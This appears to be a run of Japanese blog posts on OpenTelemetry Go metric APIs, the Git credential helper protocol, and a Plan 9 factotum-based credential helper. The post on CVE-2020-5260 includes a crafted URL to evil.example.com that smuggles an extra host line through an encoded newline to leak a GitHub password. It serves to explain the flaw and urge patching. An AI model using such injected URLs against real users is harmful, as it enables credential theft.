  • Gauge - 最新の値だけ分かればいいもの(例: メモリ利用率)
  • Count - カウンタ(例: GC回数)

の3種類でしたが、ここからGaugeがなくなって、代わりにObserverが追加されました。ドキュメントによると、Gaugeが使われるケースはOSやインフラなどの値を取得することが多く、この処理は(単純な計算に比べて)コストが高いので、非同期に行えるようにしたようです。

使い方は今までのものと少し異なり、事前に関数を登録しておきます。

import (
    "runtime"

    "go.opentelemetry.io/otel/api/global"
    "go.opentelemetry.io/otel/api/metric"
    "go.opentelemetry.io/otel/api/unit"
)

meter := global.MeterProvider().Meter("example/ping")
meter.RegisterInt64Observer("runtime.memory.alloc", func(result metric.Int64ObserverResult) {
    var m runtime.MemStats
    runtime.ReadMemStats(&m)
    result.Observe(int64(m.Alloc), labels...)
}, metric.WithUnit(unit.Bytes))

こうしておくと、OpenTelemetryのSDKはCheckpoint*1に到達するたびに、登録しておいた関数を暗黙的に実行して、result.Observeで返した値をExporterへ渡してくれるようになります。result.Observeはラベルが異なれば別の値として扱うため、1つの関数で何回呼び出しても構いません。これらの使い方以外は、Observerは使い方以外はGaugeと同じで、最終値しか取れません。また、登録した関数を解除する方法はありません。

ところで、上で挙げた例のruntime.MemStatsは1回の取得で複数の値を持っています。例えばAlloc, HeapAllocなどメモリの値をそれぞれ別のメトリックで扱いたい場合は、メトリックの数だけReadMemStatsが呼ばれてしまって効率が悪くなります。この点について現在issueが上がっているので、おそらく近いうちにまた変更が入るでしょう。

リソースがラベルから分離

今までは、メトリックにラベルをつける場合、

counter := meter.NewInt64Counter(...)
counter.Add(ctx, 1, labels)

のように、計測するときに全て渡すことしかできませんでした。Bindで設定しておくことは可能ですが、それでも一括で設定しかできませんでした。ですが一般的に、インスタンスIDやホスト名などのラベルは、メトリックにかかわらず全て一定で変化がありません。こういった、リソースを示すためのラベルを一括して設定できるようになりました。

以下はexporters/metric/stdoutの場合ですが、リソースに対応しているExporterは、Exporterの初期化を行う前後になんらかの方法でリソースを渡す方法があるんじゃないかなと思います。

import (
    "go.opentelemetry.io/otel/api/key"
    "go.opentelemetry.io/otel/exporters/metric/stdout"
    "go.opentelemetry.io/otel/sdk/metric/controller/push"
    "go.opentelemetry.io/otel/sdk/resource"
    "go.opentelemetry.io/otel/sdk/resource/resourcekeys"
)

pusher, err := stdout.InstallNewPipeline(stdout.Config{}, push.WithResource(resource.New(
    key.String(resourcekeys.HostKeyID, "1-2-3-4"),
    key.String(resourcekeys.HostKeyName, "localhost"),
)))

今まで通り、メトリックを記録する時にもラベルを設定することができます。リソースまたはメトリックで設定したラベルは、Exporterには

  1. リソースとして扱うラベル
  2. メトリックに紐づくラベル

のように分かれて渡されます。これら2種類のラベルをどのように扱うかはExporterの実装依存となりますが、おそらく多くの実装ではこれらをマージして扱うんじゃないかなと思います。

*1:Exporterがバックエンドに送る周期

Git credentialプロトコルの脆弱性(CVE-2020-5260)を眺めた

Gitは認証の必要なリポジトリへアクセスするとき、ユーザ名とパスワード入力を必要としますが、アクセスするたび入力するのは煩わしいので、資格情報を記憶するために、git-credential-から始まる名前のカスタムヘルパーコマンドが存在します。これらカスタムヘルパーはGitから標準入出力を扱う普通のコマンドで、標準入力経由でGitから渡されたパラメータに従って、対応するパスワードを標準出力を介してGitへ返します。ヘルパーコマンドが呼ばれるルールはgitcredentials(7)に書かれています。

これらのヘルパーコマンドとGitの間で使われるプロトコルがGit credentialプロトコルです。プロトコルは1行に1つのキーバリューが書かれるテキストプロトコルで、リクエストは空行で終わります。ヘルパーコマンドは空行までを読み取って、不足しているパラメータ(通常はパスワードだけ)を返します。これらのパラメータはリポジトリのURLから生成されます。以下はGit credentialプロトコルでパスワードを取得するときの例です。

protocol=https
host=github.com
username=lufia

password=xxx

macOSを使っている場合は、以下のようにするとKeychainからパスワードを取り出せます。最後の空行を忘れないようにしましょう。

% `git --exec-path`/git-credential-osxkeychain get
protocol=https
host=github.com
username=lufia

CVE-2020-5260

日本時間だと4/15 3:00頃にGit 2.26.1がリリースされました。このリリースでCVE-2020-5260というGit credentialプロトコル脆弱性が修正されました。

上記でみたように、Git credentialプロトコルは改行文字でパラメータを区切ります。ところでURLはパーセントエンコーディングされた値を一部の場所で使うことができるため、https://host?%0aのように改行文字も与えることができてしまいます。そしてややこしいことに、Gitはcredentialプロトコルで扱うURLのパースを厳密には行っていません。そのため、外部からプロトコルへ介入することができてしまいます。例えば以下の場合、

https://evil.example.com?%0agithub.com/xxx

Git 2.26.0までは、Gitは%0aをデコードしてヘルパーコマンドへ渡すため、

protocol=https
host=evil.example.com
host=github.com

のようにhost=パラメータが2回現れます。同じパラメータが届いた場合は後勝ちなのでhost=github.comのパスワードがGitへ戻されますが、しかしGitが実際に通信するリポジトリのホストはevil.example.comなので、パスワードが漏れてしまって非常にまずいですね、という脆弱性です。

影響

ヘルパーコマンドは、git-remote-httpリポジトリへアクセスするとき、またはgit imap-sendでパッチを送るときに使われるようでした。そのため、影響を受けるプロトコルは現代ではhttpsがほとんどでしょう。ssh経由でアクセスしている場合はgit-remote-httpを使わないので、おそらく影響しないと思われます(間違っていたら指摘ください)。ただし、SourceTreeなどGitクライアントや、場合によってはHomebrewやGoコンパイラなど、裏でGitコマンドを使っている場合も対象となるので注意が必要です。

やるべきこと

脆弱性が修正されたバージョンにGitをアップデートしましょう。Git credentialのヘルパーコマンドを全て無効化する方法もあるようですが、絶対にアップデートする方が簡単です。

パスワードは変更した方が良いのか

信用できるリポジトリしか扱わない前提があれば、パスワードの変更は不要だとは思いますが、少しでも不安なら変更した方が安全だと思います。

Gitの認証情報管理にFactotumを使う

Gitは認証が必要なリポジトリにアクセスするとき、credential helperと呼ばれるコマンドを実行します。credential helperはただの標準入出力を扱うプログラムで、一般的には git-credential-xxx という命名になっています。おそらく以下のうちどれかをよく使うのではないかと思います。

macOSの場合は、デフォルトでgit-credential-osxkeychainが使われるので、自分で設定することは少ないかもしれませんね。helperコマンドはgit configで設定します。

git config --global credential.helper cache

Gitは認証が必要だとわかった時点で、git configで設定したhelperコマンドを実行します。このときコマンドには、以下のような値が標準入力経由で渡されることになります。入力はname=value形式で1行1つ記述されていて、最後に空行で終わります。これらの値は状況によって省略されるものもあります。

protocol=https
host=github.com
path=path/to
username=lufia
password=xxx

helperは入力を空行まで読み込んで、条件に対応する値を標準出力でGitに返す必要があります。基本的にはpasswordだけを返せば動くと思いますが、それ以外の値も返せば、入力に優先して返した値が使われます。protocolなどを個別に返してもいいし、urlとしてまとめても同じです。

protocol=https
host=github.com
path=path/to
username=lufia
password=xxx
url=https://lufia:xxx@github.com/path/to
quit=0

credential helperの詳細はPro Gitに書かれています。

また、呼び出す側の実装はこのファイルです。

標準で持っているhelperはgit-coreディレクトリに入っています。

% git --exec-path
/Library/Developer/CommandLineTools/usr/libexec/git-core

% 9 ls -p /Library/Developer/CommandLineTools/usr/libexec/git-core/git-credential-*
git-credential-cache
git-credential-cache--daemon
git-credential-osxkeychain
git-credential-store

Factotumを使う

上でみたように、credential helperはただの標準入出力を扱うプログラムなので、echoで固定の文字列を返してもいいし、ネットワークからパスワードを持ってくるコマンドを自作することもできます。ところでPlan 9にはfactotumという認証エージェントが存在していて、これはPlan 9ツールをUnixに移植したplan9portでも使えるので、factotumからパスワードを取り出すcredential helperを実装してみました。完全なソースコードはこちらです。

github.com

Factotum

FactotumはSSH秘密鍵やログインパスワードなどを一括して扱うプログラムです。key=valueのリストを管理します。!で始まる属性は秘密情報扱いとなり、表示されません。

% factotum
% echo 'key proto=pass role=client service=git dom=github.com user=lufia !password=xxx' |
> 9p write factotum/ctl
% 9p read factotum/ctl
key proto=pass role=client service=git dom=github.com user=lufia !password?

上記の例ではpassプロトコル(生のパスワードを扱うプロトコル)を使いましたが、これ以外にもp9sk1rsaなどいくつか用意されています。protoの値によって必須となる属性は変わります。passプロトコルではuserpassword属性が必須です。任意の属性はいくつ追加しても構いません。ここでは、Git用のパスワードと識別するためにserviceキーと、対象サービスのドメインdom属性を追加しています。

登録された情報を使う場合、proto=pass role=client user=lufiaのように絞り込むための属性を使ってfactotumへアクセスします。ところで、Plan 9libauthにはproto=passのための関数があるので、それを使えば十分です。

#include <u.h>
#include <libc.h>
#include <thread.h>
#include <auth.h>

...

UserPasswd *up;

up = auth_getuserpasswd(nil, "proto=pass role=client user=lufia");
if(up == nil)
    sysfatal("auth_getuserpasswd: %r");
print("username=%s\n", up->username);
print("password=%s\n", up->passwd);
free(up);

Gitはcredential helperからパスワードを取り出せなかった場合に入力を促して、その内容をcredential helperに保存しようとします。factotumにエントリを登録する場合はfactotum/ctlファイルに書き込めば終わりです。ただし、Plan 9ネイティブの場合は/mntfactotumが提供するファイルをマウントしているので/mnt/factotum/ctlopenすればいいんですが、plan9portの場合は直接参照することができないため、lib9pclientを使う必要があります。

#include <u.h>
#include <libc.h>
#include <thread.h>
#include <9pclient.h>

...

CFsys *fs;
CFid *fid;

fs = nsamount("factotum", nil);
if(fs == nil)
    sysfatal("nsamount: %r");
fid = fsopen(fs, "ctl", OWRITE);
if(fid == nil)
    sysfatal("fsopen: %r");
if(fswrite(fid, "key proto=pass ...", n) < 0)
    sysfatal("fswrite: %r");
fsclose(fid);
fsunmount(fs);

上記ではfsopenを使いましたが、代わりにfsopenfdを使うと、CFidの代わりにファイルディスクリプタを受け取ることができて、以降普通のファイルとして扱えるのでこちらの方が便利かもしれません。

Plan 9ネイティブなfactotumはパスワードを扱うだけあって、swapしないようになっていたり、デバッガの接続を禁止していたりと安全な作りになっていますが、plan9portのfactotumにはそういった仕様は盛り込まれていなさそうです。また、factotum単体ではプロセスが死ぬと記憶していたパスワードは消えてしまうので、永続化したい場合はsecstoredと一緒に使いましょう。

macOSの場合

launchd設定例です。

com.bell-labs.plan9.factotum.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
        <key>PLAN9</key>
        <string>/usr/local/plan9</string>
        <key>PATH</key>
        <string>/usr/local/plan9/bin</string>
    </dict>
    <key>Label</key>
    <string>com.bell-labs.plan9.factotum</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/local/plan9/bin/factotum</string>
    </array>
    <key>RunAtLoad</key>
    <false/>
    <key>KeepAlive</key>
    <dict>
        <key>OtherJobEnabled</key>
        <dict>
            <key>com.bell-labs.plan9.secstored</key>
            <true/>
        </dict>
        <key>SuccessfulExit</key>
        <false/>
    </dict>
</dict>
</plist>

com.bell-labs.plan9.secstored.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
        <key>PLAN9</key>
        <string>/usr/local/plan9</string>
    </dict>
    <key>Label</key>
    <string>com.bell-labs.plan9.secstored</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/local/plan9/bin/secstored</string>
        <string>-v</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>